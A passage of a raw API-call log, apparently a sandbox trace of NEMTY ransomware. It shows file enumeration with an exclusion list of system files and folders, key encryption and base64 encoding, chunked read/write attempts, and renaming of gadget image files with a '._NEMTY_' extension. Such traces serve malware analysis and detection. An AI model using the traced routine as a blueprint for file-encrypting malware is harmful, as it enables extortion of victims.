(HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340198 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x6345608, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 42 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x6340198 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0166.220] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-full_partly-cloudy.png", cchWideChar=42, lpMultiByteStr=0x6345640, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-full_partly-cloudy.png", lpUsedDefaultChar=0x0) returned 42 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340198 [0166.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0166.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340280 [0166.220] Sleep (dwMilliseconds=0x5) [0166.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16ba80b0, dwHighDateTime=0x1d561e8)) [0166.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x16ba80b0, dwHighDateTime=0x1d561e8)) [0166.231] GetLastError () returned 0x5 [0166.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0166.231] GetLastError () returned 0x5 [0166.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0166.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0166.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0166.232] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0166.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0166.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340368 [0166.232] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340368, pcchString=0x653e91c | out: pszString="SsHUcQZrs3Em5lUo6lF5OQdHcMpA3KWNmdUZNE1g2tR5ggO0++y92ToQnDZw6+Eh\r\nQdxGT2gi/x5RiHss1pRtOgM7xF/2s/NtPGYrflzo5UPOR2jzB05suDlCaGoqMUs4\r\nbylqRAb76FCoCg2mmVDCOFohIw4PlTAjpGqaxrQ1oDyDQZKUzueOOdyeT9QqfAZV\r\nRRyFVwL044SqKx79pvDckL4ARMtBZgcY9d3xSgFVYEAYJSb1dkgTMl/GBhtg6Br+\r\nDkRDwKwFM+kexGXObArmDdOjVJCj6riC1aU4d2TQxkD4kE+3s4jBQ9pAEdb4CQge\r\n7jWWKdVY2Hiqa48yfNEWUQ==\r\n", pcchString=0x653e91c) returned 1 [0166.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0166.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0166.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0166.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340368 [0166.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0166.232] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-full_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-full_partly-cloudy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0166.233] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0166.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0166.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.261] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.289] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.289] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.299] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.299] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.299] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.308] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.308] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.318] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.318] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.318] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0166.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0166.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340368, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0166.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0166.339] CloseHandle (hObject=0xffffffff) returned 0 [0166.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63404d8 [0166.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0166.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0166.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0166.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0166.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0166.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63440d0 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0166.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-full_partly-cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-full_partly-cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_moon-full_partly-cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_moon-full_partly-cloudy.png._nemty_kgobjgd_")) returned 0 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440d0 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0166.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.340] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4a10, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2=".") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="..") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="...") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="windows") returned -1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="$RECYCLE.BIN") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="rsa") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="NTDETECT.COM") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="ntldr") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="MSDOS.SYS") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="IO.SYS") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="boot.ini") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="boot.ini") returned 1 [0166.340] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="AUTOEXEC.BAT") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="ntuser.dat") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="desktop.ini") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="CONFIG.SYS") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="RECYCLER") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="BOOTSECT.BAK") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="bootmgr") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="programdata") returned 1 [0166.341] lstrcmpiW (lpString1="undocked_black_moon-last-quarter.png", lpString2="appdata") returned 1 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 36 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 36 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 36 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0166.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_moon-last-quarter.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_moon-last-quarter.png", lpUsedDefaultChar=0x0) returned 36 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0166.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340280 [0166.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 